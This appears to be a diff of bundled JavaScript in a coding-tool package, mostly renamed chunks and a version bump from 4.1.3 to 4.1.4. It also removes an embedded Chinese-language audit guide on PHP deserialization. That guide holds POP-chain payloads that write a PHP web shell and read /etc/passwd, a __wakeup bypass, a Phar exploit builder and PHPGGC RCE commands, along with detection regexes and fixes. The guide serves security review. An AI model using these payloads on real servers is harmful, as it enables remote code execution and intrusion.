  350. package/dist/{chunk-7c8adbrw.js → chunk-zkf9chex.js} +36 -36
  351. package/dist/{chunk-pcx407qw.js → chunk-zkqykb4r.js} +38 -38
  352. package/dist/{chunk-6qbbdcx1.js → chunk-zqbw60sv.js} +2 -2
  353. package/dist/{chunk-asb7bf4r.js → chunk-zsdme624.js} +6 -6
  354. package/dist/{chunk-q1aw35vn.js → chunk-zsecvy91.js} +3 -3
  355. package/dist/{chunk-7hhh1err.js → chunk-ztetpy4q.js} +2 -2
  356. package/dist/cli.js +31 -31
  357. package/dist/services/rawDump/batchWorker.js +3 -3
  358. package/package.json +2 -1
  359. package/dist/chunk-v57at5qe.js +0 -1079
@@ -2,7 +2,7 @@
2
2
  import {
3
3
  getResolvedLanguage,
4
4
  init_language
5
- } from "./chunk-k1ymwd43.js";
5
+ } from "./chunk-9yneyd6s.js";
6
6
  import {
7
7
  getClaudeConfigHomeDir,
8
8
  init_envUtils
@@ -47567,522 +47567,6 @@ rg -A10 "FormFile" --glob "*.go" | grep -v "filetype\\|MIME\\|extension"
47567
47567
  - [gosec GitHub](https://github.com/securego/gosec)
47568
47568
  - [Go\u5B89\u5168\u6700\u4F73\u5B9E\u8DF5](https://go.dev/doc/security)
47569
47569
  - [OWASP Go\u5B89\u5168\u6307\u5357](https://owasp.org/www-project-web-security-testing-guide/)
47570
- `,
47571
- "knowledge/languages/php_deserialization.md": `# PHP Deserialization & POP Chains
47572
-
47573
- > PHP \u53CD\u5E8F\u5217\u5316\u6F0F\u6D1E\u6DF1\u5EA6\u5BA1\u8BA1\u6A21\u5757
47574
- > \u8986\u76D6: unserialize, Phar, POP Chains, \u6846\u67B6\u7279\u5B9A\u6F0F\u6D1E
47575
-
47576
- ---
47577
-
47578
- ## Overview
47579
-
47580
- PHP \u53CD\u5E8F\u5217\u5316\u6F0F\u6D1E\u901A\u8FC7 \`unserialize()\` \u51FD\u6570\u89E6\u53D1\uFF0C\u5229\u7528\u9B54\u672F\u65B9\u6CD5\u94FE (POP Chain) \u5B9E\u73B0\u4EE3\u7801\u6267\u884C\u3002\u4E0E Python \u4E0D\u540C\uFF0CPHP \u9700\u8981\u76EE\u6807\u4EE3\u7801\u4E2D\u5B58\u5728\u53EF\u7528\u7684 Gadget \u7C7B\u3002
47581
-
47582
- ---
47583
-
47584
- ## \u6838\u5FC3\u539F\u7406
47585
-
47586
- ### 1. \u9B54\u672F\u65B9\u6CD5
47587
-
47588
- \`\`\`php
47589
- // \u53CD\u5E8F\u5217\u5316\u81EA\u52A8\u89E6\u53D1
47590
- __wakeup() // \u53CD\u5E8F\u5217\u5316\u65F6\u8C03\u7528 (PHP < 7.4 \u53EF\u7ED5\u8FC7)
47591
- __destruct() // \u5BF9\u8C61\u9500\u6BC1\u65F6\u8C03\u7528
47592
- __toString() // \u5BF9\u8C61\u88AB\u5F53\u4F5C\u5B57\u7B26\u4E32\u65F6\u8C03\u7528
47593
- __call() // \u8C03\u7528\u4E0D\u5B58\u5728\u7684\u65B9\u6CD5\u65F6
47594
- __callStatic() // \u8C03\u7528\u4E0D\u5B58\u5728\u7684\u9759\u6001\u65B9\u6CD5\u65F6
47595
- __get() // \u8BBF\u95EE\u4E0D\u5B58\u5728\u7684\u5C5E\u6027\u65F6
47596
- __set() // \u8BBE\u7F6E\u4E0D\u5B58\u5728\u7684\u5C5E\u6027\u65F6
47597
- __isset() // \u5BF9\u4E0D\u5B58\u5728\u5C5E\u6027\u8C03\u7528 isset() \u65F6
47598
- __unset() // \u5BF9\u4E0D\u5B58\u5728\u5C5E\u6027\u8C03\u7528 unset() \u65F6
47599
- __invoke() // \u5BF9\u8C61\u88AB\u5F53\u4F5C\u51FD\u6570\u8C03\u7528\u65F6
47600
-
47601
- // \u653B\u51FB\u94FE\u5E38\u7528\u5165\u53E3
47602
- __destruct() \u2192 \u6587\u4EF6\u64CD\u4F5C/\u547D\u4EE4\u6267\u884C
47603
- __toString() \u2192 \u6587\u4EF6\u8BFB\u53D6/\u5199\u5165
47604
- __wakeup() \u2192 \u521D\u59CB\u5316\u5229\u7528
47605
- __call() \u2192 \u65B9\u6CD5\u8C03\u7528\u94FE
47606
- \`\`\`
47607
-
47608
- ### 2. \u5E8F\u5217\u5316\u683C\u5F0F
47609
-
47610
- \`\`\`
47611
- \u5E8F\u5217\u5316\u683C\u5F0F\u8BF4\u660E:
47612
- O:4:"User":2:{s:4:"name";s:5:"admin";s:3:"age";i:25;}
47613
- \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502
47614
- \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u503C
47615
- \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u578B:\u957F\u5EA6
47616
- \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u5C5E\u6027\u540D
47617
- \u2502 \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u578B:\u957F\u5EA6
47618
- \u2502 \u2502 \u2502 \u2502 \u2514\u2500 \u5C5E\u6027\u6570\u91CF
47619
- \u2502 \u2502 \u2502 \u2514\u2500 \u7C7B\u540D
47620
- \u2502 \u2502 \u2514\u2500 \u7C7B\u540D\u957F\u5EA6
47621
- \u2502 \u2514\u2500 Object \u7C7B\u578B
47622
- \u2514\u2500 \u7C7B\u578B\u6807\u8BC6
47623
-
47624
- \u7C7B\u578B\u6807\u8BC6:
47625
- b - boolean (b:1;)
47626
- i - integer (i:123;)
47627
- d - double (d:1.5;)
47628
- s - string (s:5:"hello";)
47629
- a - array (a:2:{i:0;s:1:"a";i:1;s:1:"b";})
47630
- O - object (O:4:"User":1:{s:4:"name";s:5:"admin";})
47631
- N - null (N;)
47632
- R - reference (R:2;)
47633
- r - reference (r:2;)
47634
- \`\`\`
47635
-
47636
- ### 3. \u5C5E\u6027\u8BBF\u95EE\u4FEE\u9970\u7B26
47637
-
47638
- \`\`\`php
47639
- // public \u5C5E\u6027
47640
- O:4:"Test":1:{s:4:"name";s:5:"value";}
47641
-
47642
- // protected \u5C5E\u6027 (\u524D\u7F00 \\x00*\\x00)
47643
- O:4:"Test":1:{s:7:"\\x00*\\x00name";s:5:"value";}
47644
- // URL \u7F16\u7801: s:7:"%00*%00name";
47645
-
47646
- // private \u5C5E\u6027 (\u524D\u7F00 \\x00ClassName\\x00)
47647
- O:4:"Test":1:{s:10:"\\x00Test\\x00name";s:5:"value";}
47648
- // URL \u7F16\u7801: s:10:"%00Test%00name";
47649
- \`\`\`
47650
-
47651
- ---
47652
-
47653
- ## POP Chain \u6784\u9020
47654
-
47655
- ### 1. \u57FA\u7840 POP Chain \u793A\u4F8B
47656
-
47657
- \`\`\`php
47658
- // \u76EE\u6807\u7C7B
47659
- class FileHandler {
47660
- public $filename;
47661
- public $content;
47662
-
47663
- public function __destruct() {
47664
- file_put_contents($this->filename, $this->content);
47665
- }
47666
- }
47667
-
47668
- // \u5229\u7528
47669
- $obj = new FileHandler();
47670
- $obj->filename = '/var/www/html/shell.php';
47671
- $obj->content = '<?php system($_GET["cmd"]); ?>';
47672
- echo serialize($obj);
47673
-
47674
- // O:11:"FileHandler":2:{s:8:"filename";s:25:"/var/www/html/shell.php";s:7:"content";s:31:"<?php system($_GET["cmd"]); ?>";}
47675
- \`\`\`
47676
-
47677
- ### 2. \u591A\u7C7B\u94FE\u5F0F\u8C03\u7528
47678
-
47679
- \`\`\`php
47680
- // \u5165\u53E3\u7C7B
47681
- class Logger {
47682
- public $handler;
47683
-
47684
- public function __destruct() {
47685
- $this->handler->close(); // \u89E6\u53D1 __call
47686
- }
47687
- }
47688
-
47689
- // \u4E2D\u95F4\u7C7B
47690
- class Proxy {
47691
- public $target;
47692
- public $method;
47693
-
47694
- public function __call($name, $args) {
47695
- return call_user_func([$this->target, $this->method]);
47696
- }
47697
- }
47698
-
47699
- // \u7EC8\u70B9\u7C7B
47700
- class Command {
47701
- public $cmd;
47702
-
47703
- public function execute() {
47704
- system($this->cmd);
47705
- }
47706
- }
47707
-
47708
- // \u6784\u9020 POP Chain
47709
- $cmd = new Command();
47710
- $cmd->cmd = 'id';
47711
-
47712
- $proxy = new Proxy();
47713
- $proxy->target = $cmd;
47714
- $proxy->method = 'execute';
47715
-
47716
- $logger = new Logger();
47717
- $logger->handler = $proxy;
47718
-
47719
- echo serialize($logger);
47720
- \`\`\`
47721
-
47722
- ### 3. __toString \u5229\u7528
47723
-
47724
- \`\`\`php
47725
- class Template {
47726
- public $file;
47727
-
47728
- public function __toString() {
47729
- return file_get_contents($this->file);
47730
- }
47731
- }
47732
-
47733
- class Display {
47734
- public $template;
47735
-
47736
- public function __destruct() {
47737
- echo $this->template; // \u89E6\u53D1 __toString
47738
- }
47739
- }
47740
-
47741
- // \u8BFB\u53D6\u654F\u611F\u6587\u4EF6
47742
- $tpl = new Template();
47743
- $tpl->file = '/etc/passwd';
47744
-
47745
- $display = new Display();
47746
- $display->template = $tpl;
47747
-
47748
- echo serialize($display);
47749
- \`\`\`
47750
-
47751
- ---
47752
-
47753
- ## __wakeup \u7ED5\u8FC7
47754
-
47755
- ### CVE-2016-7124 (PHP < 5.6.25, < 7.0.10)
47756
-
47757
- \`\`\`php
47758
- // \u5F53\u5C5E\u6027\u6570\u91CF\u5927\u4E8E\u5B9E\u9645\u6570\u91CF\u65F6\uFF0C__wakeup \u4E0D\u4F1A\u88AB\u8C03\u7528
47759
- class Bypass {
47760
- public $cmd = 'id';
47761
-
47762
- public function __wakeup() {
47763
- $this->cmd = 'safe'; // \u6E05\u7406\u6076\u610F\u6570\u636E
47764
- }
47765
-
47766
- public function __destruct() {
47767
- system($this->cmd);
47768
- }
47769
- }
47770
-
47771
- // \u6B63\u5E38\u5E8F\u5217\u5316
47772
- O:6:"Bypass":1:{s:3:"cmd";s:2:"id";}
47773
-
47774
- // \u7ED5\u8FC7 __wakeup (\u5C5E\u6027\u6570 1 \u6539\u4E3A 2)
47775
- O:6:"Bypass":2:{s:3:"cmd";s:2:"id";}
47776
- \`\`\`
47777
-
47778
- ---
47779
-
47780
- ## Phar \u53CD\u5E8F\u5217\u5316
47781
-
47782
- ### 1. \u539F\u7406
47783
-
47784
- \`\`\`php
47785
- // Phar \u6587\u4EF6\u7684 metadata \u5728\u8BFB\u53D6\u65F6\u81EA\u52A8\u53CD\u5E8F\u5217\u5316
47786
- // \u65E0\u9700 unserialize() \u51FD\u6570
47787
-
47788
- // \u89E6\u53D1\u51FD\u6570 (\u6587\u4EF6\u64CD\u4F5C\u51FD\u6570)
47789
- file_exists()
47790
- file_get_contents()
47791
- file_put_contents()
47792
- file()
47793
- fopen()
47794
- include() / require()
47795
- is_dir() / is_file()
47796
- copy()
47797
- unlink()
47798
- stat()
47799
- filemtime()
47800
- filesize()
47801
- // ... \u7B49 50+ \u4E2A\u51FD\u6570
47802
- \`\`\`
47803
-
47804
- ### 2. Phar \u6587\u4EF6\u6784\u9020
47805
-
47806
- \`\`\`php
47807
- <?php
47808
- class Exploit {
47809
- public $cmd = 'id';
47810
-
47811
- public function __destruct() {
47812
- system($this->cmd);
47813
- }
47814
- }
47815
-
47816
- // \u751F\u6210 Phar \u6587\u4EF6
47817
- $phar = new Phar("exploit.phar");
47818
- $phar->startBuffering();
47819
- $phar->setStub("<?php __HALT_COMPILER(); ?>");
47820
-
47821
- $payload = new Exploit();
47822
- $phar->setMetadata($payload); // \u6076\u610F\u5BF9\u8C61\u5B58\u5165 metadata
47823
-
47824
- $phar->addFromString("test.txt", "test");
47825
- $phar->stopBuffering();
47826
- ?>
47827
- \`\`\`
47828
-
47829
- ### 3. \u89E6\u53D1\u65B9\u5F0F
47830
-
47831
- \`\`\`php
47832
- // \u4F7F\u7528 phar:// \u534F\u8BAE\u89E6\u53D1
47833
- file_exists('phar://uploads/exploit.phar/test.txt');
47834
- file_get_contents('phar://uploads/exploit.phar');
47835
- include('phar://uploads/exploit.phar/autoload.php');
47836
-
47837
- // \u7ED5\u8FC7\u6269\u5C55\u540D\u68C0\u6D4B (Phar \u53EF\u4F2A\u88C5\u4E3A\u4EFB\u610F\u6269\u5C55\u540D)
47838
- $phar = 'phar://uploads/avatar.gif'; // \u5B9E\u9645\u662F Phar \u6587\u4EF6
47839
- file_exists($phar); // \u89E6\u53D1\u53CD\u5E8F\u5217\u5316
47840
- \`\`\`
47841
-
47842
- ### 4. Phar \u7B7E\u540D\u7ED5\u8FC7
47843
-
47844
- \`\`\`php
47845
- // Phar \u6587\u4EF6\u7ED3\u6784
47846
- // Stub + Manifest + Contents + Signature
47847
-
47848
- // \u7B7E\u540D\u7C7B\u578B
47849
- // 0x0001: MD5
47850
- // 0x0002: SHA1
47851
- // 0x0003: SHA256
47852
- // 0x0004: SHA512
47853
-
47854
- // \u4FEE\u6539 metadata \u540E\u9700\u8981\u91CD\u65B0\u8BA1\u7B97\u7B7E\u540D
47855
- \`\`\`
47856
-
47857
- ---
47858
-
47859
- ## \u6846\u67B6 POP Chains
47860
-
47861
- ### Laravel
47862
-
47863
- \`\`\`php
47864
- // Laravel \u5DF2\u77E5 Gadget Chains (PHPGGC)
47865
-
47866
- // RCE via PendingBroadcast
47867
- // Laravel 5.5 - 5.8
47868
- Illuminate\\Broadcasting\\PendingBroadcast
47869
- \u2192 Illuminate\\Bus\\Dispatcher
47870
- \u2192 system() / exec()
47871
-
47872
- // RCE via PendingCommand
47873
- // Laravel 5.4 - 7.x
47874
- Illuminate\\Foundation\\Testing\\PendingCommand
47875
- \u2192 Illuminate\\Container\\Container
47876
- \u2192 call_user_func()
47877
-
47878
- // \u4F7F\u7528 PHPGGC \u751F\u6210
47879
- ./phpggc Laravel/RCE1 system id
47880
- ./phpggc Laravel/RCE2 'system' 'id'
47881
- \`\`\`
47882
-
47883
- ### Symfony
47884
-
47885
- \`\`\`php
47886
- // Symfony POP Chains
47887
-
47888
- // RCE via ProcessPipes
47889
- // Symfony 2.x - 4.x
47890
- Symfony\\Component\\Process\\Pipes\\WindowsPipes
47891
- \u2192 Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter
47892
- \u2192 system()
47893
-
47894
- // \u4F7F\u7528 PHPGGC
47895
- ./phpggc Symfony/RCE1 system id
47896
- \`\`\`
47897
-
47898
- ### Yii
47899
-
47900
- \`\`\`php
47901
- // Yii2 POP Chain
47902
- // yii2 2.0.0 - 2.0.38
47903
-
47904
- // \u5165\u53E3: BatchQueryResult::__destruct()
47905
- // \u94FE\u8DEF: ... \u2192 call_user_func()
47906
-
47907
- ./phpggc Yii2/RCE1 system id
47908
- \`\`\`
47909
-
47910
- ### ThinkPHP
47911
-
47912
- \`\`\`php
47913
- // ThinkPHP 5.x POP Chain
47914
-
47915
- // \u5165\u53E3: think\\process\\pipes\\Windows::__destruct()
47916
- // \u94FE\u8DEF: removeFiles() \u2192 file_exists() \u2192 __toString()
47917
- // \u2192 toJson() \u2192 __call() \u2192 call_user_func()
47918
-
47919
- // ThinkPHP 6.x
47920
- // \u5165\u53E3: League\\Flysystem\\Cached\\Storage\\AbstractCache::__destruct()
47921
- \`\`\`
47922
-
47923
- ### WordPress
47924
-
47925
- \`\`\`php
47926
- // WordPress \u6838\u5FC3\u8F83\u5C11 POP Chain
47927
- // \u4F46\u63D2\u4EF6\u53EF\u80FD\u5F15\u5165
47928
-
47929
- // WooCommerce
47930
- // Elementor
47931
- // \u7B49\u63D2\u4EF6\u53EF\u80FD\u5B58\u5728
47932
- \`\`\`
47933
-
47934
- ---
47935
-
47936
- ## \u68C0\u6D4B\u89C4\u5219
47937
-
47938
- ### 1. \u5371\u9669\u51FD\u6570
47939
-
47940
- \`\`\`regex
47941
- # unserialize \u68C0\u6D4B
47942
- unserialize\\s*\\(.*\\$_(GET|POST|REQUEST|COOKIE)
47943
- unserialize\\s*\\(.*file_get_contents
47944
- unserialize\\s*\\([^)]*\\$[a-zA-Z_]
47945
-
47946
- # Phar \u89E6\u53D1\u51FD\u6570
47947
- (file_exists|file_get_contents|file|fopen|include|require)\\s*\\(.*phar://
47948
- (is_dir|is_file|copy|unlink|stat)\\s*\\(.*\\$
47949
-
47950
- # \u5E8F\u5217\u5316\u6570\u636E\u7279\u5F81
47951
- ['"](O|a|s):[0-9]+:
47952
- \`\`\`
47953
-
47954
- ### 2. \u5371\u9669\u7C7B\u7279\u5F81
47955
-
47956
- \`\`\`regex
47957
- # \u5371\u9669\u9B54\u672F\u65B9\u6CD5
47958
- function\\s+__destruct\\s*\\(.*\\{[^}]*(system|exec|passthru|shell_exec|eval|file_put_contents|unlink)
47959
- function\\s+__wakeup\\s*\\(
47960
- function\\s+__toString\\s*\\(.*\\{[^}]*file_get_contents
47961
-
47962
- # \u5371\u9669\u65B9\u6CD5\u8C03\u7528
47963
- call_user_func(_array)?\\s*\\(\\s*\\$
47964
- \\$[a-zA-Z_]+\\s*\\(\\s*\\$ # \u52A8\u6001\u51FD\u6570\u8C03\u7528
47965
- \`\`\`
47966
-
47967
- ---
47968
-
47969
- ## \u5BA1\u8BA1\u6E05\u5355
47970
-
47971
- \`\`\`
47972
- [ ] \u641C\u7D22\u6240\u6709 unserialize() \u8C03\u7528
47973
- [ ] \u68C0\u67E5\u53CD\u5E8F\u5217\u5316\u6570\u636E\u6765\u6E90\u662F\u5426\u53EF\u63A7
47974
- [ ] \u641C\u7D22\u53EF\u7528\u7684 Gadget \u7C7B (__destruct, __wakeup, __toString \u7B49)
47975
- [ ] \u68C0\u67E5\u6587\u4EF6\u64CD\u4F5C\u51FD\u6570\u662F\u5426\u63A5\u53D7\u7528\u6237\u8F93\u5165\u8DEF\u5F84
47976
- [ ] \u68C0\u67E5\u662F\u5426\u5B58\u5728 Phar \u53CD\u5E8F\u5217\u5316\u89E6\u53D1\u70B9
47977
- [ ] \u68C0\u67E5\u6846\u67B6\u7248\u672C\uFF0C\u5BF9\u7167\u5DF2\u77E5 POP Chain
47978
- [ ] \u4F7F\u7528 PHPGGC \u6D4B\u8BD5\u5DF2\u77E5 Gadget
47979
- [ ] \u68C0\u67E5 __wakeup \u662F\u5426\u53EF\u7ED5\u8FC7 (PHP \u7248\u672C)
47980
- [ ] \u68C0\u67E5 Phar \u6587\u4EF6\u4E0A\u4F20\u70B9
47981
- \`\`\`
47982
-
47983
- ---
47984
-
47985
- ## \u68C0\u6D4B\u547D\u4EE4
47986
-
47987
- \`\`\`bash
47988
- # unserialize \u68C0\u6D4B
47989
- grep -rn "unserialize\\s*(" --include="*.php"
47990
-
47991
- # \u5371\u9669\u9B54\u672F\u65B9\u6CD5
47992
- grep -rn "function\\s*__destruct\\|function\\s*__wakeup\\|function\\s*__toString" --include="*.php"
47993
-
47994
- # Phar \u76F8\u5173
47995
- grep -rn "phar://\\|new Phar\\|setMetadata" --include="*.php"
47996
-
47997
- # \u6587\u4EF6\u64CD\u4F5C + \u7528\u6237\u8F93\u5165
47998
- grep -rn "file_exists\\|file_get_contents" --include="*.php" | grep "\\$_"
47999
-
48000
- # \u52A8\u6001\u51FD\u6570\u8C03\u7528
48001
- grep -rn "call_user_func\\|call_user_func_array" --include="*.php"
48002
-
48003
- # \u4F7F\u7528 PHPGGC \u5217\u51FA\u53EF\u7528\u94FE
48004
- ./phpggc -l | grep "Laravel\\|Symfony\\|ThinkPHP\\|Yii"
48005
- \`\`\`
48006
-
48007
- ---
48008
-
48009
- ## \u5B89\u5168\u4FEE\u590D
48010
-
48011
- ### 1. \u7981\u7528 unserialize
48012
-
48013
- \`\`\`php
48014
- // \u4F7F\u7528 JSON \u66FF\u4EE3
48015
- $data = json_decode($input, true);
48016
-
48017
- // \u5982\u5FC5\u987B\u4F7F\u7528\uFF0C\u9650\u5236\u5141\u8BB8\u7684\u7C7B
48018
- $data = unserialize($input, ['allowed_classes' => ['SafeClass']]);
48019
-
48020
- // \u5B8C\u5168\u7981\u6B62\u7C7B\u5B9E\u4F8B\u5316
48021
- $data = unserialize($input, ['allowed_classes' => false]);
48022
- \`\`\`
48023
-
48024
- ### 2. \u7B7E\u540D\u9A8C\u8BC1
48025
-
48026
- \`\`\`php
48027
- function secure_serialize($data, $key) {
48028
- $serialized = serialize($data);
48029
- $signature = hash_hmac('sha256', $serialized, $key);
48030
- return base64_encode($signature . '|' . $serialized);
48031
- }
48032
-
48033
- function secure_unserialize($data, $key, $allowed_classes) {
48034
- $decoded = base64_decode($data);
48035
- list($signature, $serialized) = explode('|', $decoded, 2);
48036
-
48037
- $expected = hash_hmac('sha256', $serialized, $key);
48038
- if (!hash_equals($expected, $signature)) {
48039
- throw new Exception('Invalid signature');
48040
- }
48041
-
48042
- return unserialize($serialized, ['allowed_classes' => $allowed_classes]);
48043
- }
48044
- \`\`\`
48045
-
48046
- ### 3. \u7981\u7528 Phar
48047
-
48048
- \`\`\`php
48049
- // php.ini
48050
- phar.readonly = On
48051
-
48052
- // \u4EE3\u7801\u5C42\u9762\u8FC7\u6EE4
48053
- $path = str_replace(['phar://', 'PHAR://'], '', $path);
48054
-
48055
- // \u6216\u68C0\u67E5\u534F\u8BAE
48056
- if (preg_match('/^phar:/i', $path)) {
48057
- throw new Exception('Phar protocol not allowed');
48058
- }
48059
- \`\`\`
48060
-
48061
- ---
48062
-
48063
- ## \u53C2\u8003\u8D44\u6E90
48064
-
48065
- - [PHPGGC](https://github.com/ambionics/phpggc)
48066
- - [PHP Object Injection](https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection)
48067
- - [Phar Deserialization](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
48068
-
48069
- ---
48070
-
48071
- ## \u6700\u5C0F PoC \u793A\u4F8B
48072
- \`\`\`bash
48073
- # PHPGGC \u751F\u6210\u94FE
48074
- phpggc Laravel/RCE1 system id | base64 > payload.txt
48075
- curl -X POST http://localhost/api -d @payload.txt
48076
-
48077
- # Phar \u89E6\u53D1
48078
- php -d phar.readonly=0 -r '$phar=new Phar("p.phar"); $phar->addFromString("test","test"); $phar->setStub("<?php __HALT_COMPILER(); ?>");'
48079
- curl "http://localhost/index.php?file=phar://./p.phar/test"
48080
- \`\`\`
48081
-
48082
- ---
48083
-
48084
- **\u6700\u540E\u66F4\u65B0**: 2026-01-23
48085
- **\u7248\u672C**: 1.0.0
48086
47570
  `,
48087
47571
  "knowledge/languages/java_xxe.md": `# Java XXE (XML External Entity) - XXE \u6F0F\u6D1E\u5B8C\u6574\u5BA1\u8BA1\u89C4\u5219
48088
47572
 
@@ -78489,8 +77973,8 @@ detection \u5047\u8BBE\u9519\u8BEF\u4E0D\u53EF\u63A5\u53D7\uFF0C\u4F46\u4E1A\u52
78489
77973
  }
78490
77974
  };
78491
77975
  SKILL_VERSIONS = {
78492
- "security-review": "024c7cb5d1ffb5544996c1f7bb60270a95459dcb",
78493
- review: "024c7cb5d1ffb5544996c1f7bb60270a95459dcb"
77976
+ "security-review": "627a3e3c9b2dfa5d7f16e0f828db5e80bcaebb18",
77977
+ review: "627a3e3c9b2dfa5d7f16e0f828db5e80bcaebb18"
78494
77978
  };
78495
77979
  });
78496
77980
 
@@ -78564,5 +78048,5 @@ var init_review = __esm(() => {
78564
78048
 
78565
78049
  export { exports_extension, init_review };
78566
78050
 
78567
- //# debugId=47A31253827C295864756E2164756E21
78568
- //# sourceMappingURL=chunk-fb3k2m2f.js.map
78051
+ //# debugId=E98B94DE08491E4B64756E2164756E21
78052
+ //# sourceMappingURL=chunk-v9c0rpa4.js.map
@@ -9,7 +9,7 @@ import {
9
9
  reinitialize1PEventLoggingIfConfigChanged,
10
10
  shouldSampleEvent,
11
11
  shutdown1PEventLogging
12
- } from "./chunk-ebtaxjae.js";
12
+ } from "./chunk-t55pghx5.js";
13
13
  import"./chunk-fs34dpdm.js";
14
14
  import"./chunk-9dwdn2sk.js";
15
15
  import"./chunk-zwarn9h7.js";
@@ -21,7 +21,7 @@ import"./chunk-pe9b769s.js";
21
21
  import"./chunk-64c1avct.js";
22
22
  import"./chunk-8g5pe1gr.js";
23
23
  import"./chunk-nq504fa3.js";
24
- import"./chunk-52f3aqnq.js";
24
+ import"./chunk-ehc914vn.js";
25
25
  import"./chunk-qxp3d963.js";
26
26
  import"./chunk-6dpcm4za.js";
27
27
  import"./chunk-p26t5d5e.js";
@@ -34,9 +34,9 @@ import"./chunk-0f6syxra.js";
34
34
  import"./chunk-4f8eq6n2.js";
35
35
  import"./chunk-v1kzp02e.js";
36
36
  import"./chunk-p2816w9z.js";
37
- import"./chunk-5e4sk6wr.js";
37
+ import"./chunk-x7hqhzet.js";
38
38
  import"./chunk-crmjpsqe.js";
39
- import"./chunk-zyhpq0w1.js";
39
+ import"./chunk-96012zrd.js";
40
40
  import"./chunk-64k6ybmm.js";
41
41
  import"./chunk-qr5vq8ys.js";
42
42
  import"./chunk-f2mhrmww.js";
@@ -79,4 +79,4 @@ export {
79
79
  };
80
80
 
81
81
  //# debugId=77BD5EAB4447EDB364756E2164756E21
82
- //# sourceMappingURL=chunk-fapk78a0.js.map
82
+ //# sourceMappingURL=chunk-vepbgbhk.js.map
@@ -2,7 +2,7 @@
2
2
  import {
3
3
  init_bridgeEnabled,
4
4
  isEnvLessBridgeEnabled
5
- } from "./chunk-f21x038e.js";
5
+ } from "./chunk-axh75nac.js";
6
6
  import {
7
7
  init_semver,
8
8
  lt
@@ -10,7 +10,7 @@ import {
10
10
  import {
11
11
  getFeatureValue_DEPRECATED,
12
12
  init_growthbook
13
- } from "./chunk-ebtaxjae.js";
13
+ } from "./chunk-t55pghx5.js";
14
14
  import {
15
15
  init_lazySchema,
16
16
  lazySchema
@@ -33,8 +33,8 @@ async function getEnvLessBridgeConfig() {
33
33
  }
34
34
  async function checkEnvLessBridgeMinVersion() {
35
35
  const cfg = await getEnvLessBridgeConfig();
36
- if (cfg.min_version && lt("4.1.3", cfg.min_version)) {
37
- return `Your version of CoStrict (${"4.1.3"}) is too old for Remote Control.
36
+ if (cfg.min_version && lt("4.1.4", cfg.min_version)) {
37
+ return `Your version of CoStrict (${"4.1.4"}) is too old for Remote Control.
38
38
  Version ${cfg.min_version} or higher is required. Run \`csc update\` to update.`;
39
39
  }
40
40
  return null;
@@ -93,5 +93,5 @@ var init_envLessBridgeConfig = __esm(() => {
93
93
 
94
94
  export { DEFAULT_ENV_LESS_BRIDGE_CONFIG, getEnvLessBridgeConfig, checkEnvLessBridgeMinVersion, shouldShowAppUpgradeMessage, init_envLessBridgeConfig };
95
95
 
96
- //# debugId=9281BF70B69A7D8C64756E2164756E21
97
- //# sourceMappingURL=chunk-tsnztpmz.js.map
96
+ //# debugId=5E8035F83EB4506764756E2164756E21
97
+ //# sourceMappingURL=chunk-vh2bq1kq.js.map
@@ -10,9 +10,9 @@ import {
10
10
  getEffectiveChannelAllowlist,
11
11
  init_channelNotification,
12
12
  wrapChannelMessage
13
- } from "./chunk-re14cg04.js";
14
- import"./chunk-swhfsn91.js";
15
- import"./chunk-ebtaxjae.js";
13
+ } from "./chunk-948sac2f.js";
14
+ import"./chunk-e1rckp3d.js";
15
+ import"./chunk-t55pghx5.js";
16
16
  import"./chunk-fs34dpdm.js";
17
17
  import"./chunk-9dwdn2sk.js";
18
18
  import"./chunk-zwarn9h7.js";
@@ -24,7 +24,7 @@ import"./chunk-pe9b769s.js";
24
24
  import"./chunk-64c1avct.js";
25
25
  import"./chunk-8g5pe1gr.js";
26
26
  import"./chunk-nq504fa3.js";
27
- import"./chunk-52f3aqnq.js";
27
+ import"./chunk-ehc914vn.js";
28
28
  import"./chunk-qxp3d963.js";
29
29
  import"./chunk-6dpcm4za.js";
30
30
  import"./chunk-p26t5d5e.js";
@@ -37,9 +37,9 @@ import"./chunk-0f6syxra.js";
37
37
  import"./chunk-4f8eq6n2.js";
38
38
  import"./chunk-v1kzp02e.js";
39
39
  import"./chunk-p2816w9z.js";
40
- import"./chunk-5e4sk6wr.js";
40
+ import"./chunk-x7hqhzet.js";
41
41
  import"./chunk-crmjpsqe.js";
42
- import"./chunk-zyhpq0w1.js";
42
+ import"./chunk-96012zrd.js";
43
43
  import"./chunk-64k6ybmm.js";
44
44
  import"./chunk-qr5vq8ys.js";
45
45
  import"./chunk-f2mhrmww.js";
@@ -83,4 +83,4 @@ export {
83
83
  };
84
84
 
85
85
  //# debugId=7B0D76A762A9C8E264756E2164756E21
86
- //# sourceMappingURL=chunk-d8bfyshy.js.map
86
+ //# sourceMappingURL=chunk-vjdg504j.js.map
@@ -2,11 +2,11 @@
2
2
  import {
3
3
  init_sink,
4
4
  initializeAnalyticsSink
5
- } from "./chunk-jm0gjczx.js";
5
+ } from "./chunk-qgq7k5n1.js";
6
6
  import {
7
7
  captureException,
8
8
  init_sentry
9
- } from "./chunk-v8cfb8af.js";
9
+ } from "./chunk-5kwvenz7.js";
10
10
  import {
11
11
  CACHE_PATHS,
12
12
  attachErrorLogSink,
@@ -97,7 +97,7 @@ function appendToLog(path, message) {
97
97
  cwd: getFsImplementation().cwd(),
98
98
  userType: process.env.USER_TYPE,
99
99
  sessionId: getSessionId(),
100
- version: "4.1.3"
100
+ version: "4.1.4"
101
101
  };
102
102
  getLogWriter(path).write(messageWithTimestamp);
103
103
  }
@@ -179,5 +179,5 @@ function initSinks() {
179
179
 
180
180
  export { initSinks };
181
181
 
182
- //# debugId=48F1C40F6B58996D64756E2164756E21
183
- //# sourceMappingURL=chunk-jf1z0emd.js.map
182
+ //# debugId=6BBCBDC6182EA9C764756E2164756E21
183
+ //# sourceMappingURL=chunk-vyry6wjr.js.map